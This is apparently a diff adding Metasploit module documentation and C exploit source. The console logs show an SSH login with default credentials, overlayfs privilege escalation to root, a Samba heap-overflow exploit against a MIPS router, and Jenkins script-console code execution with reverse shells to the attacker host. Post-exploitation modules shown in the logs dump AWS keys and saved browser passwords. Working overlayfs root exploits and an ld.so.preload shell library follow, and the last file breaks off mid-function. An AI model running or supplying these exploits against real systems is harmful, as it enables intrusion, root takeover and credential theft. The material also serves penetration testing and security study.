@ -191,9 +191,9 @@ In this scenario, we already exploit the box, for whatever reason our shell died
#### Re-exploit w/ pre-compiled binaries #### Re-exploit w/ pre-compiled binaries
msf exploit(netfilter_priv_esc) > set reexploit true msf exploit(netfilter_priv_esc_ipv4) > set reexploit true
reexploit => true reexploit => true
msf exploit(netfilter_priv_esc) > exploit msf exploit(netfilter_priv_esc_ipv4) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed

View File

@ -0,0 +1,181 @@
## Creating A Testing Environment
This module has been tested against:
1. CVE-2015-1328
1. Ubuntu 14.04
1. 3.13.0-24 (binary version of exploit compiled on)
2. 3.19.0-20
3. 3.19.0-21 (not vuln, exploit failed)
4. 3.13.0-55 (not vuln, exploit failed)
2. CVE-2015-8660
1. Ubuntu 14.04
1. 3.19.0-41 (binary version of exploit compiled on)
Untested against
1. Fedora (code included to identify vuln versions)
2. Redhat (description includes vuln kernel versions)
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/overlayfs_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
## Options
**COMPILE**
If we should attempt to compile on the system. Defaults to Auto, which checks if `gcc` is installed
**WritableDir**
A folder we can write files to. Defaults to /tmp
## Scenarios
### CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41
#### Initial Access
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc
resource (/root/Text-1.txt)> set verbose true
verbose => true
resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (/root/Text-1.txt)> set session 1
session => 1
resource (/root/Text-1.txt)> set target 1
target => 1
resource (/root/Text-1.txt)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (/root/Text-1.txt)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[*] Writing to /tmp/svF1U2Ya.c (2356 bytes)
[*] Max line length is 65537
[*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf
[*] Compiling /tmp/svF1U2Ya.c
[*] Writing to /tmp/fHCJO1ex (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400
[+] Deleted /tmp/svF1U2Ya.c
[+] Deleted /tmp/fHCJO1ex
3986817421
viRVXKxRruOuDKwEBYAscFvJPPrtQbTO
true
zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk
cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY
EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC
true
FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt
omnusQCOqEdrUTbMLtDmXibhFAVQuTAz
VPsVgFTxVwskShumsJkambKWMQhifDJi
whoami
root
uname -a
Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
### CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24
#### Initial Access
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc
resource (overlay.rc)> set verbose true
verbose => true
resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (overlay.rc)> set target 0
target => 0
resource (overlay.rc)> set session 1
session => 1
resource (overlay.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (overlay.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[*] Writing to /tmp/JmK51Dpa.c (3714 bytes)
[*] Max line length is 65537
[*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf
[*] Writing to /tmp/ofs-lib.c (439 bytes)
[*] Max line length is 65537
[*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf
[*] Compiling /tmp/JmK51Dpa.c
[*] Writing to /tmp/R6TrMF7f (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400
[!] Tried to delete /tmp/ofs-lib.c, unknown result
[+] Deleted /tmp/JmK51Dpa
2356964145
psMfOJcKGKnafhAvALIeSFNegauafmux
RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH
KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP
true
ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ
dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR
UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF
sh: 0: can't access tty; job control turned off
# # # whoami
root
# uname -a
Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

View File

@ -0,0 +1,91 @@
## Vulnerable Application
Samba 3.0.0 through 3.0.25rc3 are vulnerable to multiple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name().
The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24.
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/samba/lsa_transnames_heap`
3. Do: `show targets` to see the possible targets
4. Do: `set target #`
5. Do: `set rhost`
6. Do: `exploit`
## MIPS port
This module was ported to exploit the MIPS architecture. After creating a suitable debugging environment using qemu to emulate Samba on a desktop PC the following steps were required:
### MIPS nop generator
The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effect-less nops. At the end of the sled the true payload is added and execution will eventually hit this code.
A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0`
### Heap address brute force
The exploit uses a brute force approach to minimize problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targeting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again.
When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targeted a specific router, the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_
## Scenarios
msf > use exploit/linux/samba/lsa\_transnames_heap
msf exploit(lsa\_transnames_heap) > set target 7
target => 7
msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf exploit(lsa\_transnames_heap) > show options
Module options (exploit/linux/samba/lsa\_transnames_heap):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes The SMB service port
SMBPIPE LSARPC yes The pipe name to use
Exploit target:
Id Name
-- ----
7 Linux Heap Brute Force (OpenWRT MIPS)
msf exploit(lsa\_transnames_heap) > exploit
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] 192.168.1.1:445 - Creating nop sled....
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] 192.168.1.1:445 - Server did not respond, this is expected
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x5590f000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] 192.168.1.1:445 - Server did not respond, this is expected
...Some intermediate attempts ommitted...
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55996000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] 192.168.1.1:445 - Server did not respond, this is expected
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x559a5000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.1:4175) at 2016-10-31 14:00:33 +0000
uname -a
Linux WNR2200 2.6.15 #1 Mon Dec 23 15:58:24 CST 2013 mips unknown

View File

@ -0,0 +1,130 @@
## Vulnerable Application
Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where
binaries are available for a variety of operating systems. Both LTS and weekly
builds are available.
Default settings have the script console enabled and require a valid user
account in order to access it. A known account can be used with this module by
setting the `USERNAME` and `PASSWORD` options.
## Verification Steps
Example steps in this format:
1. Install the application
1. Start msfconsole
1. Do: ```use exploit/multi/http/jenkins_script_console```
1. Do: ```set RHOST [target host]```
1. Do: ```set TARGET [target id]```
1. Do: ```exploit```
1. You should get a shell.
## Options
**TARGETURI**
The path to the target instance of Jenkins.
**USERNAME**
A username to an account that has access to the script console. This is only
necessary if the Jenkins instance has been configured to require
authentication.
**PASSWORD**
A password to an account that has access to the script console. This is only
necessary if the Jenkins instance has been configured to require
authentication.
## Scenarios
Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1.
```
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf exploit(jenkins_script_console) > set USERNAME steiner
USERNAME => steiner
msf exploit(jenkins_script_console) > set PASSWORD I<3msf!
PASSWORD => I<3msf!
msf exploit(jenkins_script_console) > set RHOST 192.168.254.126
RHOST => 192.168.254.126
msf exploit(jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(jenkins_script_console) > set LHOST 192.168.254.132
LHOST => 192.168.254.132
msf exploit(jenkins_script_console) > exploit
[*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444
[*] [2016.10.29-18:43:07] Checking access to the script console
[*] [2016.10.29-18:43:07] Logging in...
[*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style)
[*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager...
[*] [2016.10.29-18:43:08] Command Stager progress - 2.06% done (2048/99626 bytes)
[*] [2016.10.29-18:43:08] Command Stager progress - 4.11% done (4096/99626 bytes)
[*] [2016.10.29-18:43:08] Command Stager progress - 6.17% done (6144/99626 bytes)
[*] [2016.10.29-18:43:09] Command Stager progress - 8.22% done (8192/99626 bytes)
[*] [2016.10.29-18:43:09] Command Stager progress - 10.28% done (10240/99626 bytes)
[*] [2016.10.29-18:43:09] Command Stager progress - 12.33% done (12288/99626 bytes)
[*] [2016.10.29-18:43:10] Command Stager progress - 14.39% done (14336/99626 bytes)
[*] [2016.10.29-18:43:10] Command Stager progress - 16.45% done (16384/99626 bytes)
[*] [2016.10.29-18:43:10] Command Stager progress - 18.50% done (18432/99626 bytes)
[*] [2016.10.29-18:43:11] Command Stager progress - 20.56% done (20480/99626 bytes)
[*] [2016.10.29-18:43:11] Command Stager progress - 22.61% done (22528/99626 bytes)
[*] [2016.10.29-18:43:11] Command Stager progress - 24.67% done (24576/99626 bytes)
[*] [2016.10.29-18:43:12] Command Stager progress - 26.72% done (26624/99626 bytes)
[*] [2016.10.29-18:43:12] Command Stager progress - 28.78% done (28672/99626 bytes)
[*] [2016.10.29-18:43:12] Command Stager progress - 30.84% done (30720/99626 bytes)
[*] [2016.10.29-18:43:13] Command Stager progress - 32.89% done (32768/99626 bytes)
[*] [2016.10.29-18:43:13] Command Stager progress - 34.95% done (34816/99626 bytes)
[*] [2016.10.29-18:43:13] Command Stager progress - 37.00% done (36864/99626 bytes)
[*] [2016.10.29-18:43:14] Command Stager progress - 39.06% done (38912/99626 bytes)
[*] [2016.10.29-18:43:14] Command Stager progress - 41.11% done (40960/99626 bytes)
[*] [2016.10.29-18:43:14] Command Stager progress - 43.17% done (43008/99626 bytes)
[*] [2016.10.29-18:43:15] Command Stager progress - 45.23% done (45056/99626 bytes)
[*] [2016.10.29-18:43:15] Command Stager progress - 47.28% done (47104/99626 bytes)
[*] [2016.10.29-18:43:15] Command Stager progress - 49.34% done (49152/99626 bytes)
[*] [2016.10.29-18:43:16] Command Stager progress - 51.39% done (51200/99626 bytes)
[*] [2016.10.29-18:43:16] Command Stager progress - 53.45% done (53248/99626 bytes)
[*] [2016.10.29-18:43:17] Command Stager progress - 55.50% done (55296/99626 bytes)
[*] [2016.10.29-18:43:17] Command Stager progress - 57.56% done (57344/99626 bytes)
[*] [2016.10.29-18:43:17] Command Stager progress - 59.61% done (59392/99626 bytes)
[*] [2016.10.29-18:43:18] Command Stager progress - 61.67% done (61440/99626 bytes)
[*] [2016.10.29-18:43:18] Command Stager progress - 63.73% done (63488/99626 bytes)
[*] [2016.10.29-18:43:18] Command Stager progress - 65.78% done (65536/99626 bytes)
[*] [2016.10.29-18:43:19] Command Stager progress - 67.84% done (67584/99626 bytes)
[*] [2016.10.29-18:43:19] Command Stager progress - 69.89% done (69632/99626 bytes)
[*] [2016.10.29-18:43:19] Command Stager progress - 71.95% done (71680/99626 bytes)
[*] [2016.10.29-18:43:20] Command Stager progress - 74.00% done (73728/99626 bytes)
[*] [2016.10.29-18:43:20] Command Stager progress - 76.06% done (75776/99626 bytes)
[*] [2016.10.29-18:43:20] Command Stager progress - 78.12% done (77824/99626 bytes)
[*] [2016.10.29-18:43:21] Command Stager progress - 80.17% done (79872/99626 bytes)
[*] [2016.10.29-18:43:21] Command Stager progress - 82.23% done (81920/99626 bytes)
[*] [2016.10.29-18:43:21] Command Stager progress - 84.28% done (83968/99626 bytes)
[*] [2016.10.29-18:43:22] Command Stager progress - 86.34% done (86016/99626 bytes)
[*] [2016.10.29-18:43:22] Command Stager progress - 88.39% done (88064/99626 bytes)
[*] [2016.10.29-18:43:22] Command Stager progress - 90.45% done (90112/99626 bytes)
[*] [2016.10.29-18:43:23] Command Stager progress - 92.51% done (92160/99626 bytes)
[*] [2016.10.29-18:43:23] Command Stager progress - 94.56% done (94208/99626 bytes)
[*] [2016.10.29-18:43:23] Command Stager progress - 96.62% done (96256/99626 bytes)
[*] [2016.10.29-18:43:24] Command Stager progress - 98.67% done (98304/99626 bytes)
[*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126
[*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes)
[*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400
meterpreter > sysinfo
Computer : PWNME-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >
```

View File

@ -0,0 +1,56 @@
## Vulnerable Application
Any system with a `shell` or `meterpreter` session.
## Verification Steps
1. Get a `shell` or `meterpreter` session on some host.
2. Do: ```use post/multi/gather/aws_keys```
3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one.
4. Do: ```run```
5. If the system has readable configuration files containing AWS key material, they will be printed out.
## Options
None.
## Scenarios
```
msf post(aws_keys) > run
[*] Enumerating possible user AWS config files
[*] Looking for AWS config/credentials files in /bin
[*] Looking for AWS config/credentials files in /dev
[*] Looking for AWS config/credentials files in /home/syslog
[*] Looking for AWS config/credentials files in /home/test
[*] Looking for AWS config/credentials files in /home/test ubuntu
[*] Looking for AWS config/credentials files in /home/ubuntu
[*] Looking for AWS config/credentials files in /nonexistent
[*] Looking for AWS config/credentials files in /root
[*] Looking for AWS config/credentials files in /usr/games
[*] Looking for AWS config/credentials files in /usr/sbin
[*] Looking for AWS config/credentials files in /var/backups
[*] Looking for AWS config/credentials files in /var/cache/man
[*] Looking for AWS config/credentials files in /var/cache/pollinate
[*] Looking for AWS config/credentials files in /var/lib/gnats
[*] Looking for AWS config/credentials files in /var/lib/landscape
[*] Looking for AWS config/credentials files in /var/lib/libuuid
[*] Looking for AWS config/credentials files in /var/list
[*] Looking for AWS config/credentials files in /var/mail
[*] Looking for AWS config/credentials files in /var/run/dbus
[*] Looking for AWS config/credentials files in /var/run/ircd
[*] Looking for AWS config/credentials files in /var/run/sshd
[*] Looking for AWS config/credentials files in /var/spool/lpd
[*] Looking for AWS config/credentials files in /var/spool/news
[*] Looking for AWS config/credentials files in /var/spool/uucp
[*] Looking for AWS config/credentials files in /var/www
AWS Key Data
============
Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile
------ ----------------- --------------------- -------
/home/test/.aws/credentials BAR PRIVATE_TEST test
/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test
/root/.s3cfg root_key root_secret default
```

View File

@ -0,0 +1,106 @@
## Vulnerable Application
This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well.
## Verification Steps
1. Start `msfconsole`
2. Get meterpreter session
3. Do: `use post/windows/gather/enum_ie`
4. Do: `set SESSION <session id>`
5. Do: `run`
6. You should be able to see the extracted IE browser data in the loot files
## Options
- **SESSION** - The session to run the module on.
## Extracted data
- History
- Cookies
- Autocomplete data
- Credentials **(only for >= IE7)**
- HTTP auth credentials
- Saved form credentials
## Example Scenario
**Using the module with an earlier version than IE7 (IE6)**
In this scenario the module won't be able to extract credential data.
```
msf exploit(handler) > use post/windows/gather/enum_ie
msf post(enum_ie) > set SESSION 1
SESSION => 1
msf post(enum_ie) > run
[*] IE Version: 6.0.2900.5512
[-] This module will only extract credentials for >= IE7
[*] Retrieving history.....
File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat
[*] Retrieving cookies.....
File: C:\Documents and Settings\user\Cookies\index.dat
[*] Looping through history to find autocomplete data....
[-] No autocomplete entries found in registry
[*] Looking in the Credential Store for HTTP Authentication Creds...
[*] Writing history to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt
[*] Writing cookies to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt
[*] Post module execution completed
```
**Using the module with IE7+ (IE8)**
In this scenario the module will try to extract credential data, display it in the console and save it in a loot file.
```
msf exploit(handler) > use post/windows/gather/enum_ie
msf post(enum_ie) > set SESSION 1
SESSION => 1
msf post(enum_ie) > run
[*] IE Version: 8.0.7601.17514
[*] Retrieving history.....
File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat
[*] Retrieving cookies.....
File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat
[*] Looping through history to find autocomplete data....
[*] Looking in the Credential Store for HTTP Authentication Creds...
[*] Writing history to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt
[*] Writing cookies to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt
[*] Writing gathered credentials to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt
Credential data
===============
Type Url User Pass
---- --- ---- ----
Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
[*] Post module execution completed
```
The extracted history data would in both scenarios for example look like this:
```
History data
============
Date Modified Date Accessed Url
------------- ------------- ---
2011-11-20T23:59:02+00:00 2011-11-20T23:59:02+00:00 about:Home
2016-10-31T14:42:05+00:00 2016-10-31T14:42:05+00:00 http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407
2016-10-31T14:42:06+00:00 2016-10-31T14:42:06+00:00 http://de.msn.com/?ocid=iefvrt
2016-10-31T14:42:08+00:00 2016-10-31T14:42:08+00:00 http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
2016-10-31T14:42:23+00:00 2016-10-31T14:42:23+00:00 http://www.msn.com/de-de?ocid=iefvrt
2016-10-31T14:47:42+00:00 2016-10-31T14:47:42+00:00 file:///E:/text.txt
```

View File

@ -0,0 +1,113 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
/*
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}*/
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}

View File

@ -0,0 +1,16 @@
#include <unistd.h>
uid_t(*_real_getuid) (void);
char path[128];
uid_t getuid(void){
_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
readlink("/proc/self/exe", (char *) &path, 128);
if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execle("/bin/sh", "sh", "-i", NULL, NULL);
}
return _real_getuid();
}

View File

@ -0,0 +1,78 @@
#include <stdio.h>
#include <sched.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#include <sys/wait.h>
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
system("rm -rf /tmp/haxhax");
mkdir("/tmp/haxhax", 0777);
mkdir("/tmp/haxhax/w", 0777);
mkdir("/tmp/haxhax/u",0777);
mkdir("/tmp/haxhax/o",0777);
if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
fprintf(stderr,"mount failed..\n");
}
chmod("/tmp/haxhax/w/work",0777);
chdir("/tmp/haxhax/o");
chmod("bash",04755);
chdir("/");
umount("/tmp/haxhax/o");
return 0;
}
int
main(int argc, char **argv)
{
int status;
